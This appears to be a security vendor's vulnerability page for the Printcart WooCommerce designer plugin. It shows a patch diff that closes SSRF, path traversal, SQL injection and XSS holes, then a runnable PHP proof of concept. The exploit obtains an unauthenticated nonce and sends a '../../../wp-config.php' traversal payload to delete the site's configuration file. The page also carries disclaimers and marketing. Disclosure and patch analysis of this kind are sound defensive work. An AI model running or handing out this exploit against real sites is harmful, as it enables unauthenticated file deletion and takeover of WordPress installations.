     public function nbd_get_pexels_data()
@@ -7525,14 +7615,16 @@
         if (!wp_verify_nonce($_REQUEST['nonce'], 'save-design') && NBDESIGNER_ENABLE_NONCE) {
             die('Security error');
         }
-        $url = wc_clean($_POST['src']);
-        $curl = curl_init($url);
-        $url  =  $_REQUEST['src'];
-        curl_setopt($curl, CURLOPT_URL, $url);
-        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
-        $resp = curl_exec($curl);
-        curl_close($curl);
-        echo $resp;
+        // See nbd_get_freepik_data() above — same SSRF / arbitrary URL read fix.
+        $url = nbd_validate_remote_url( isset( $_REQUEST['src'] ) ? $_REQUEST['src'] : '' );
+        if ( '' === $url ) {
+            wp_send_json( array( 'flag' => 0, 'mes' => esc_html__( 'Invalid URL', 'web-to-print-online-designer' ) ) );
+        }
+        $response = wp_safe_remote_get( $url, array( 'timeout' => 30 ) );
+        if ( is_wp_error( $response ) || wp_remote_retrieve_response_code( $response ) !== 200 ) {
+            wp_send_json( array( 'flag' => 0 ) );
+        }
+        echo wp_remote_retrieve_body( $response );
         wp_die();
     }
 }
--- a/printcart-integration/includes/class.resource.php
+++ b/printcart-integration/includes/class.resource.php
@@ -41,9 +41,21 @@
                         if(file_exists($path) ) $data = json_decode( file_get_contents($path) );
                         break;
                     case 'get_typo':
-                        $path = NBDESIGNER_PLUGIN_DIR . '/data/typography/store/'.$_REQUEST['folder'];
-                        $data['font'] = json_decode( file_get_contents($path.'/used_font.json') );
-                        $data['design'] = json_decode( file_get_contents($path.'/design.json') );
+                        // Folder is concatenated into a filesystem path and read; restrict
+                        // to a safe leaf-folder pattern to prevent reading files outside
+                        // the typography store directory.
+                        $typo_folder = nbd_sanitize_item_key( isset( $_REQUEST['folder'] ) ? $_REQUEST['folder'] : '' );
+                        if ( '' === $typo_folder ) {
+                            $flag = 0;
+                            break;
+                        }
+                        $path = NBDESIGNER_PLUGIN_DIR . '/data/typography/store/' . $typo_folder;
+                        if ( file_exists( $path . '/used_font.json' ) ) {
+                            $data['font']   = json_decode( file_get_contents( $path . '/used_font.json' ) );
+                        }
+                        if ( file_exists( $path . '/design.json' ) ) {
+                            $data['design'] = json_decode( file_get_contents( $path . '/design.json' ) );
+                        }
                         break;
                     case 'clipart':
                         $path_cat = NBDESIGNER_DATA_DIR . '/art_cat.json';
@@ -214,14 +226,30 @@
                         if( !$result ) $flag = 0;
                         break;
                     case 'get_mockup':
-                        $_mockups = $_REQUEST['mockups'];
-                        $folder = $_REQUEST['folder'];
-                        $mockups = explode('|', $_mockups);
-                        $path = $path = NBDESIGNER_CUSTOMER_DIR . '/' . $folder . '/';
-                        $files = array();
-                        foreach($mockups as $mockup){
-                            if(file_exists($path.$mockup)){
-                                $files[] = $path.$mockup;
+                        // CRITICAL: both $_REQUEST['folder'] and each entry in
+                        // $_REQUEST['mockups'] (pipe-delimited) are concatenated into
+                        // filesystem paths and then ZIPped + exposed via a public URL.
+                        // Without sanitization an unauthenticated attacker could pull
+                        // /etc/passwd, wp-config.php etc. Validate folder as an item
+                        // key and each mockup name as a basename safe leaf file name.
+                        $folder = nbd_sanitize_item_key( isset( $_REQUEST['folder'] ) ? $_REQUEST['folder'] : '' );
+                        if ( '' === $folder ) {
+                            $flag = 0;
+                            break;
+                        }
+                        $_mockups = isset( $_REQUEST['mockups'] ) ? wc_clean( $_REQUEST['mockups'] ) : '';
+                        $mockups  = '' === $_mockups ? array() : explode( '|', $_mockups );
+                        $path     = NBDESIGNER_CUSTOMER_DIR . '/' . $folder . '/';
+                        $files    = array();
+                        foreach ( $mockups as $mockup ) {
+                            // basename strips any traversal, then whitelist only image-like
+                            // filenames so the ZIP cannot expose .php / .env / etc.
+                            $mockup = basename( (string) $mockup );
+                            if ( ! preg_match( '/^[A-Za-z0-9_-]+.(png|jpe?g|gif|webp|svg)$/i', $mockup ) ) {
+                                continue;
+                            }
+                            if ( file_exists( $path . $mockup ) ) {
+                                $files[] = $path . $mockup;
                             }
                         }
                         $pathZip = NBDESIGNER_DATA_DIR.'/download/customer-design-'.time().'.zip';
--- a/printcart-integration/includes/class.template-tags.php
+++ b/printcart-integration/includes/class.template-tags.php
@@ -228,7 +228,10 @@
             $task            = (isset($_REQUEST['task']) && $_REQUEST['task'] != '') ? $_REQUEST['task'] : 'new';
             $design_type     = (isset($_REQUEST['design_type']) && $_REQUEST['design_type'] != '') ? wc_clean( $_REQUEST['design_type'] ) : '';
             if( $task == 'edit' && $design_type == 'template' ){
-                $folder         = wc_clean( $_GET['nbd_item_key'] );
+                $folder         = isset( $_GET['nbd_item_key'] ) ? nbd_sanitize_item_key( $_GET['nbd_item_key'] ) : '';
+                if ( '' === $folder ) {
+                    return $data;
+                }
                 $templates      = $this->get_template_by_folder( $folder );
                 if( is_array($templates) && isset( $templates[0] ) ){
                     $template               = $templates[0];
--- a/printcart-integration/includes/table/class.product.templates.php
+++ b/printcart-integration/includes/table/class.product.templates.php
@@ -85,7 +85,8 @@
     {
         if (current_user_can('delete_nbd_template')) {
             global $wpdb;
-            $item = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}nbdesigner_templates WHERE id = $id");
+            $id = absint( $id );
+            $item = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}nbdesigner_templates WHERE id = %d", $id ) );
             if ($item) {
                 $wpdb->delete("{$wpdb->prefix}nbdesigner_templates", array('id' => $id), array('%d'));
             }
@@ -94,8 +95,10 @@
     public static function make_primary_template($id, $pid)
     {
         global $wpdb;
-        $item = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}nbdesigner_templates WHERE id = $id");
-        $item_primary = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}nbdesigner_templates WHERE product_id = $pid AND priority = 1");
+        $id   = absint( $id );
+        $pid  = absint( $pid );
+        $item = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}nbdesigner_templates WHERE id = %d", $id ) );
+        $item_primary = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}nbdesigner_templates WHERE product_id = %d AND priority = 1", $pid ) );
         self::update_template($id, array('priority' => 1));
         if ($item_primary) {
             self::update_template($item_primary->id, array('priority' => 0));
@@ -104,7 +107,8 @@
     public static function make_duplicate_template($id)
     {
         global $wpdb;
-        $item = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}nbdesigner_templates WHERE id = $id");
+        $id   = absint( $id );
+        $item = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}nbdesigner_templates WHERE id = %d", $id ) );
         $folder = substr(md5(uniqid()), 0, 10);
         $src_path = NBDESIGNER_CUSTOMER_DIR . '/' . $item->folder;
         $dist_path = NBDESIGNER_CUSTOMER_DIR . '/' . $folder;
@@ -134,25 +138,32 @@
     public static function record_count()
     {
         global $wpdb;
-        $sql = "SELECT COUNT(*) FROM {$wpdb->prefix}nbdesigner_templates";
-        if (!empty($_REQUEST['pid'])) {
-            $sql .= " WHERE product_id = " . esc_sql($_REQUEST['pid']);
+        $sql    = "SELECT COUNT(*) FROM {$wpdb->prefix}nbdesigner_templates";
+        $params = array();
+        if ( ! empty( $_REQUEST['pid'] ) ) {
+            $sql     .= " WHERE product_id = %d";
+            $params[] = absint( $_REQUEST['pid'] );
         }
-        if (!empty($_REQUEST['nbdesigner_filter']) && -1 != $_REQUEST['nbdesigner_filter']) {
-            if ($_REQUEST['nbdesigner_filter'] == 'unpublish') {
-                $sql .= " AND publish = 0";
-            } else {
-                $sql .= " AND " . esc_sql($_REQUEST['nbdesigner_filter']) . " = 1";
+        if ( ! empty( $_REQUEST['nbdesigner_filter'] ) && -1 != $_REQUEST['nbdesigner_filter'] ) {
+            // Whitelist filter column names — esc_sql() does NOT prevent injection
+            // when the value is used as an identifier.
+            $allowed_filters = array( 'publish', 'private', 'priority' );
+            if ( 'unpublish' === $_REQUEST['nbdesigner_filter'] ) {
+                $sql .= ( empty( $params ) ? ' WHERE ' : ' AND ' ) . 'publish = 0';
+            } elseif ( in_array( $_REQUEST['nbdesigner_filter'], $allowed_filters, true ) ) {
+                $sql .= ( empty( $params ) ? ' WHERE ' : ' AND ' ) . sanitize_key( $_REQUEST['nbdesigner_filter'] ) . ' = 1';
             }
         }
-        return $wpdb->get_var($sql);
+        if ( ! empty( $params ) ) {
+            return $wpdb->get_var( $wpdb->prepare( $sql, $params ) );
+        }
+        return $wpdb->get_var( $sql );
     }
     public static function count_product_template($pid)
     {
         global $wpdb;
-        $sql = "SELECT COUNT(*) FROM {$wpdb->prefix}nbdesigner_templates";
-        $sql .= " WHERE product_id = " . $pid;
-        return $wpdb->get_var($sql);
+        $pid = absint( $pid );
+        return $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM {$wpdb->prefix}nbdesigner_templates WHERE product_id = %d", $pid ) );
     }
     /** Text displayed when no template data is available */
     public function no_items()
--- a/printcart-integration/nbdesigner.php
+++ b/printcart-integration/nbdesigner.php
@@ -5,7 +5,7 @@
 * Plugin Name: PCDesigner - Web 2 Print Solution
 * Plugin URI: https://printcart.com
 * Description: A Woocommerce printing ecosystem.
-* Version: 2.5.2
+* Version: 2.5.3
 * Author: Printcart
 * Author URI: https://printcart.com
 * License: GPLv2 or later
@@ -59,8 +59,8 @@
     }
 }

-pc_define( 'NBDESIGNER_VERSION',                '2.5.2' );
-pc_define( 'NBDESIGNER_NUMBER_VERSION',         252 );
+pc_define( 'NBDESIGNER_VERSION',                '2.5.3' );
+pc_define( 'NBDESIGNER_NUMBER_VERSION',         253 );
 pc_define( 'NBDESIGNER_MINIMUM_WP_VERSION',     '4.1.1' );
 pc_define( 'NBDESIGNER_MINIMUM_PHP_VERSION',    '5.6.0' );
 pc_define( 'NBDESIGNER_MINIMUM_WC_VERSION',     '3.0.0' );
--- a/printcart-integration/views/detail-order.php
+++ b/printcart-integration/views/detail-order.php
@@ -43,7 +43,7 @@
     <h2>
         <?php
             $arr                = array(
-                'nbd_item_key'  => sanitize_text_field($_GET['nbd_item_key']),
+                'nbd_item_key'  => nbd_sanitize_item_key($_GET['nbd_item_key']),
                 'order_id'      => sanitize_text_field($_GET['order_id']),
                 'product_id'    => sanitize_text_field($_GET['product_id']),
                 'variation_id'  => sanitize_text_field($_GET['variation_id'])
@@ -55,7 +55,7 @@
                 array(
                     'task'          => 'edit',
                     'view'          => $layout,
-                    'nbd_item_key'  => sanitize_text_field($_GET['nbd_item_key']),
+                    'nbd_item_key'  => nbd_sanitize_item_key($_GET['nbd_item_key']),
                     'design_type'   => 'edit_order',
                     'order_id'      => sanitize_text_field($_GET['order_id']),
                     'product_id'    => $product_id,
@@ -68,7 +68,7 @@
                         'nbdv-task'     => 'edit',
                         'task'          => 'edit',
                         'view'          => $layout,
-                        'nbd_item_key'  => sanitize_text_field($_GET['nbd_item_key']),
+                        'nbd_item_key'  => nbd_sanitize_item_key($_GET['nbd_item_key']),
                         'design_type'   => 'edit_order',
                         'order_id'      => sanitize_text_field($_GET['order_id']),
                         'product_id'    => $product_id,
@@ -139,7 +139,7 @@
                             <td>
                                 <?php wp_nonce_field( 'nbdesigner_pdf_nonce'); ?>
                                 <input type="hidden" name="layout[order_id]" value="<?php echo sanitize_text_field($_GET['order_id']); ?>" />
-                                <input type="hidden" name="layout[nbd_item_key]" value="<?php echo sanitize_text_field($_GET['nbd_item_key']); ?>" />
+                                <input type="hidden" name="layout[nbd_item_key]" value="<?php echo nbd_sanitize_item_key($_GET['nbd_item_key']); ?>" />
                                 <a href="javascript:void(0)" class="button-primary" id="create_layout_pdf"><?php esc_html_e('Create PDF', 'web-to-print-online-designer'); ?></a>
                             </td>
                         </tr>
@@ -244,7 +244,7 @@
                         <a href="<?php echo add_query_arg(
                             array(
                                 'download-type'     => 'svg',
-                                'nbd_item_key'      => sanitize_text_field($_GET['nbd_item_key']),
+                                'nbd_item_key'      => nbd_sanitize_item_key($_GET['nbd_item_key']),
                                 'order_id'          => sanitize_text_field($_GET['order_id']),
                                 'product_id'        => sanitize_text_field($_GET['product_id']),
                                 'variation_id'      => sanitize_text_field($_GET['variation_id'])
@@ -263,7 +263,7 @@
                             <a href="<?php echo add_query_arg(
                                 array(
                                     'download-type'     => 'png',
-                                    'nbd_item_key'      => sanitize_text_field($_GET['nbd_item_key']),
+                                    'nbd_item_key'      => nbd_sanitize_item_key($_GET['nbd_item_key']),
                                     'order_id'          => sanitize_text_field($_GET['order_id']),
                                     'product_id'        => sanitize_text_field($_GET['product_id']),
                                     'variation_id'      => sanitize_text_field($_GET['variation_id'])
@@ -276,7 +276,7 @@
                                 href="<?php echo add_query_arg(
                                 array(
                                     'download-type'     => 'png-hires',
-                                    'nbd_item_key'      => sanitize_text_field($_GET['nbd_item_key']),
+                                    'nbd_item_key'      => nbd_sanitize_item_key($_GET['nbd_item_key']),
                                     'order_id'          => sanitize_text_field($_GET['order_id']),
                                     'product_id'        => sanitize_text_field($_GET['product_id']),
                                     'variation_id'      => sanitize_text_field($_GET['variation_id'])
@@ -298,7 +298,7 @@
                             href="<?php echo add_query_arg(
                             array(
                                 'download-type' => 'jpg-hires',
-                                'nbd_item_key'  => sanitize_text_field($_GET['nbd_item_key']),
+                                'nbd_item_key'  => nbd_sanitize_item_key($_GET['nbd_item_key']),
                                 'order_id'      => sanitize_text_field($_GET['order_id']),
                                 'product_id'    => sanitize_text_field($_GET['product_id']),
                                 'variation_id'  => sanitize_text_field($_GET['variation_id'])
@@ -322,7 +322,7 @@
                                 href="<?php echo add_query_arg(
                                     array(
                                         'download-type' => 'pdf',
-                                        'nbd_item_key'  => sanitize_text_field($_GET['nbd_item_key']),
+                                        'nbd_item_key'  => nbd_sanitize_item_key($_GET['nbd_item_key']),
                                         'order_id'      => sanitize_text_field($_GET['order_id']),
                                         'product_id'    => sanitize_text_field($_GET['product_id']),
                                         'variation_id'  => sanitize_text_field($_GET['variation_id'])
@@ -358,7 +358,7 @@
                                 <input name="force_same_format" type="hidden" value="0">
                                 <input name="force_same_format" type="checkbox" value="1">
                                 <input name="order_id" type="hidden" value="<?php echo( sanitize_text_field($_GET['order_id']) ); ?>">
-                                <input name="nbd_item_key" type="hidden" value="<?php echo( sanitize_text_field($_GET['nbd_item_key']) ); ?>">
+                                <input name="nbd_item_key" type="hidden" value="<?php echo( nbd_sanitize_item_key($_GET['nbd_item_key']) ); ?>">
                                 <input type="hidden" value="<?php echo( $option['dpi'] ); ?>" name="dpi">
                                 <br /><small><?php esc_html_e('Create a PDF file contain all page in the same page size. By default, each page correspond a PDF file.', 'web-to-print-online-designer'); ?></small>
                             </td>
--- a/printcart-integration/views/nbdesigner-frontend-modern.php
+++ b/printcart-integration/views/nbdesigner-frontend-modern.php
@@ -76,8 +76,8 @@
             $enableColor            = nbdesigner_get_option( 'nbdesigner_show_all_color', 'yes' );
             $enable_upload_multiple = nbdesigner_get_option( 'nbdesigner_upload_multiple_images', 'no' );
             $design_type            = ( isset($_GET['design_type']) &&  $_GET['design_type'] != '' ) ? wc_clean( $_GET['design_type'] ) : '';
-            $nbd_item_key           = ( isset($_GET['nbd_item_key']) &&  $_GET['nbd_item_key'] != '' ) ? wc_clean( $_GET['nbd_item_key'] ) : '';
-            $nbu_item_key           = ( isset($_GET['nbu_item_key']) &&  $_GET['nbu_item_key'] != '' ) ? wc_clean( $_GET['nbu_item_key'] ) : '';
+            $nbd_item_key           = ( isset($_GET['nbd_item_key']) &&  $_GET['nbd_item_key'] != '' ) ? nbd_sanitize_item_key( $_GET['nbd_item_key'] ) : '';
+            $nbu_item_key           = ( isset($_GET['nbu_item_key']) &&  $_GET['nbu_item_key'] != '' ) ? nbd_sanitize_item_key( $_GET['nbu_item_key'] ) : '';
             $cart_item_key          = ( isset($_GET['cik']) &&  $_GET['cik'] != '' ) ? wc_clean( $_GET['cik'] ) : '';
             $reference              = ( isset($_GET['reference']) &&  $_GET['reference'] != '' ) ? wc_clean( $_GET['reference'] ) : '';

--- a/printcart-integration/views/nbdesigner-frontend-template.php
+++ b/printcart-integration/views/nbdesigner-frontend-template.php
@@ -75,8 +75,8 @@
             $task = (isset($_GET['task']) &&  $_GET['task'] != '') ? wc_clean( $_GET['task'] ) : 'new';
             $task2 = (isset($_GET['task2']) &&  $_GET['task2'] != '') ? wc_clean( $_GET['task2'] ) : '';
             $design_type = (isset($_GET['design_type']) &&  $_GET['design_type'] != '') ? wc_clean( $_GET['design_type'] ) : '';
-            $nbd_item_key = (isset($_GET['nbd_item_key']) &&  $_GET['nbd_item_key'] != '') ? wc_clean( $_GET['nbd_item_key'] ) : '';
-            $nbu_item_key = (isset($_GET['nbu_item_key']) &&  $_GET['nbu_item_key'] != '') ? wc_clean( $_GET['nbu_item_key'] ) : '';
+            $nbd_item_key = (isset($_GET['nbd_item_key']) &&  $_GET['nbd_item_key'] != '') ? nbd_sanitize_item_key( $_GET['nbd_item_key'] ) : '';
+            $nbu_item_key = (isset($_GET['nbu_item_key']) &&  $_GET['nbu_item_key'] != '') ? nbd_sanitize_item_key( $_GET['nbu_item_key'] ) : '';
             $cart_item_key = (isset($_GET['cik']) &&  $_GET['cik'] != '') ? wc_clean( $_GET['cik'] ) : '';
             $order_id = (isset($_GET['oid']) &&  $_GET['oid'] != '') ? wc_clean( $_GET['oid'] ) : '';
             $reference = (isset($_GET['reference']) &&  $_GET['reference'] != '') ? wc_clean( $_GET['reference'] ) : '';
@@ -128,22 +128,22 @@
                 instagram_redirect_uri    : "<?php echo NBDESIGNER_PLUGIN_URL.'includes/auth-instagram.php'; ?>",
                 dropbox_redirect_uri    : "<?php echo NBDESIGNER_PLUGIN_URL.'includes/auth-dropbox.php'; ?>",
                 cart_url    :   "<?php echo esc_url( wc_get_cart_url() ); ?>",
-                task    :   "<?php echo($task); ?>",
-                task2    :   "<?php echo($task2); ?>",
-                design_type    :   "<?php echo($design_type); ?>",
-                product_id  :   "<?php echo($product_id); ?>",
-                variation_id  :   "<?php echo($variation_id); ?>",
-                product_type  :   "<?php echo($product_type); ?>",
-                redirect_url    :   "<?php echo($redirect_url); ?>",
-                nbd_item_key    :   "<?php echo($nbd_item_key); ?>",
-                nbu_item_key    :   "<?php echo($nbu_item_key); ?>",
-                cart_item_key    :   "<?php echo($cart_item_key); ?>",
-                order_id    :   "<?php echo($order_id); ?>",
-                home_url    :   "<?php echo($home_url); ?>",
-                icl_home_url    :   "<?php echo($icl_home_url); ?>",
-                is_logged    :   <?php echo nbd_user_logged_in(); ?>,
-                is_wpml	:	<?php echo($is_wpml); ?>,
-                enable_upload_multiple	:   "<?php echo($enable_upload_multiple); ?>",
+                task    :   <?php echo wp_json_encode( $task ); ?>,
+                task2    :   <?php echo wp_json_encode( $task2 ); ?>,
+                design_type    :   <?php echo wp_json_encode( $design_type ); ?>,
+                product_id  :   "<?php echo (int) $product_id; ?>",
+                variation_id  :   "<?php echo (int) $variation_id; ?>",
+                product_type  :   <?php echo wp_json_encode( $product_type ); ?>,
+                redirect_url    :   <?php echo wp_json_encode( $redirect_url ); ?>,
+                nbd_item_key    :   <?php echo wp_json_encode( $nbd_item_key ); ?>,
+                nbu_item_key    :   <?php echo wp_json_encode( $nbu_item_key ); ?>,
+                cart_item_key    :   <?php echo wp_json_encode( $cart_item_key ); ?>,
+                order_id    :   <?php echo wp_json_encode( $order_id ); ?>,
+                home_url    :   <?php echo wp_json_encode( $home_url ); ?>,
+                icl_home_url    :   <?php echo wp_json_encode( $icl_home_url ); ?>,
+                is_logged    :   <?php echo (int) nbd_user_logged_in(); ?>,
+                is_wpml	:	<?php echo (int) $is_wpml; ?>,
+                enable_upload_multiple	:   <?php echo wp_json_encode( $enable_upload_multiple ); ?>,
                 login_url   :   "<?php echo esc_url( wp_login_url( getUrlPageNBD('redirect') ) ); ?>",
                 list_file_upload    :   <?php echo json_encode($list_file_upload); ?>,
                 product_data  :   <?php echo json_encode($product_data); ?>,
--- a/printcart-integration/views/upload/advanced-upload-page.php
+++ b/printcart-integration/views/upload/advanced-upload-page.php
@@ -170,17 +170,17 @@
             <!-- No inline scripts or styles unless dynamic. -->
             <script type="text/javascript">
                 var nbauObject = {
-                    product_id: "<?php echo( $product_id ); ?>",
-                    variation_id: "<?php echo( $variation_id ); ?>",
-                    cart_item_key: "<?php echo( $cart_item_key ); ?>",
-                    order_id: "<?php echo( $order_id ); ?>",
-                    order_item_id: "<?php echo( $order_item_id ); ?>",
-                    nbu_item_key: "<?php echo( $nbu_item_key ); ?>",
-                    redirect_url: "<?php echo( $redirect_url ); ?>",
-                    nonce: "<?php echo( $nonce ); ?>",
-                    task: "<?php echo( $task ); ?>",
-                    design_type: "<?php echo( $design_type ); ?>",
-                    frame_image_url: "<?php echo( $frame_image_url ); ?>",
+                    product_id: "<?php echo (int) $product_id; ?>",
+                    variation_id: "<?php echo (int) $variation_id; ?>",
+                    cart_item_key: <?php echo wp_json_encode( $cart_item_key ); ?>,
+                    order_id: <?php echo wp_json_encode( $order_id ); ?>,
+                    order_item_id: <?php echo wp_json_encode( $order_item_id ); ?>,
+                    nbu_item_key: <?php echo wp_json_encode( $nbu_item_key ); ?>,
+                    redirect_url: <?php echo wp_json_encode( $redirect_url ); ?>,
+                    nonce: <?php echo wp_json_encode( $nonce ); ?>,
+                    task: <?php echo wp_json_encode( $task ); ?>,
+                    design_type: <?php echo wp_json_encode( $design_type ); ?>,
+                    frame_image_url: <?php echo wp_json_encode( $frame_image_url ); ?>,
                     ajax_url: "<?php echo admin_url('admin-ajax.php'); ?>",
                     upload_datas: JSON.parse('<?php echo json_encode( $upload_files ); ?>')
                 };
--- a/printcart-integration/views/upload/simple-upload-page.php
+++ b/printcart-integration/views/upload/simple-upload-page.php
@@ -76,14 +76,14 @@
             <?php if( $show_nbo_option ): ?>
                 var wc_add_to_cart_variation_params = <?php echo json_encode( $wc_add_to_cart_params ); ?>;
                 var nbds_frontend = <?php echo json_encode( $nbds_frontend ); ?>;
-                product_type = "<?php echo( $product_type ); ?>";
+                product_type = <?php echo wp_json_encode( $product_type ); ?>;
             <?php endif; ?>
-            var nbd_allow_type  = "<?php echo( $option['allow_type'] ); ?>",
-            product_id          = "<?php echo( $product_id ); ?>",
-            nbd_disallow_type   = "<?php echo( $option['disallow_type'] ); ?>",
-            nbd_number          = parseInt(<?php echo( $option['number'] ); ?>),
-            nbd_minsize         = parseInt(<?php echo( $option['minsize'] ); ?>),
-            nbd_maxsize         = parseInt(<?php echo( $option['maxsize'] ); ?>),
+            var nbd_allow_type  = <?php echo wp_json_encode( $option['allow_type'] ); ?>,
+            product_id          = "<?php echo (int) $product_id; ?>",
+            nbd_disallow_type   = <?php echo wp_json_encode( $option['disallow_type'] ); ?>,
+            nbd_number          = parseInt(<?php echo (int) $option['number']; ?>),
+            nbd_minsize         = parseInt(<?php echo (int) $option['minsize']; ?>),
+            nbd_maxsize         = parseInt(<?php echo (int) $option['maxsize']; ?>),
             nonce               = "<?php echo wp_create_nonce('save-design'); ?>",
             ajax_url            = "<?php echo admin_url('admin-ajax.php'); ?>";

--- a/printcart-integration/views/vista/vista.php
+++ b/printcart-integration/views/vista/vista.php
@@ -11,8 +11,8 @@
 $task                           = ( isset( $_GET['task'] ) &&  $_GET['task'] != '') ? sanitize_text_field($_GET['task']) : 'new';
 $task2                          = ( isset($_GET['task2'] ) &&  $_GET['task2'] != '') ? sanitize_text_field($_GET['task2']) : '';
 $design_type                    = ( isset($_GET['design_type'] ) &&  $_GET['design_type'] != '') ? sanitize_text_field($_GET['design_type']) : '';
-$nbd_item_key                   = ( isset($_GET['nbd_item_key'] ) &&  $_GET['nbd_item_key'] != '') ? sanitize_text_field($_GET['nbd_item_key']) : '';
-$nbu_item_key                   = ( isset($_GET['nbu_item_key'] ) &&  $_GET['nbu_item_key'] != '') ? sanitize_text_field($_GET['nbu_item_key']) : '';
+$nbd_item_key                   = ( isset($_GET['nbd_item_key'] ) &&  $_GET['nbd_item_key'] != '') ? nbd_sanitize_item_key( $_GET['nbd_item_key'] ) : '';
+$

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-9725 - Printcart Web to Print Product Designer for WooCommerce <= 2.5.2 - Unauthenticated Arbitrary File Deletion

$target_url = 'http://example.com'; // Change this to the target WordPress URL

// Step 1: Get the AJAX nonce for nbd_save_customer_design (without authentication)
$nonce_url = $target_url . '/wp-admin/admin-ajax.php?action=nbd_check_use_logged_in';
$ch = curl_init($nonce_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
curl_close($ch);

// Parse the nonce from the response (expected format: a JSON object or a string)
$nonce = '';
$json = json_decode($response, true);
if ($json && isset($json['nonce'])) {
    $nonce = $json['nonce'];
} else {
    // Fallback: try to extract from response body if it's a plain string
    $nonce = trim($response);
}

if (empty($nonce)) {
    die("[!] Failed to obtain AJAX nonce. Check target URL or plugin version.n");
}
echo "[+] Obtained nonce: $noncen";

// Step 2: Use the nonce to send a path traversal payload in nbd_item_key
// The vulnerable function store_design_data() will attempt to delete/rename
// files under NBDESIGNER_CUSTOMER_DIR/nbd_item_key. We'll point to a file
// outside the expected directory to delete wp-config.php (for example).
$payload_key = '../../../wp-config.php'; // Path traversal to delete wp-config

$post_data = array(
    'action'         => 'nbd_save_customer_design',
    'nonce'          => $nonce,
    'nbd_item_key'   => $payload_key,
    'data'           => '{}', // Minimal JSON data
    'product_config' => '{}',
    'product_option' => '{}',
    'product_upload' => '{}'
);

$exploit_url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init($exploit_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] Exploit request sent. HTTP status: $http_coden";
echo "[+] Response: $responsen";

// Step 3: Verify if wp-config.php was deleted (optional)
$check_url = $target_url . '/wp-config.php';
$ch = curl_init($check_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_NOBODY, true);
curl_exec($ch);
$check_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($check_code === 200) {
    echo "[!] Target wp-config.php still accessible. Exploit may have failed or file is readable.n";
} elseif ($check_code >= 400) {
    echo "[+] Target wp-config.php returned HTTP $check_code. File may have been deleted or access blocked.n";
} else {
    echo "[*] Unexpected HTTP status for wp-config.php: $check_coden";
}

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.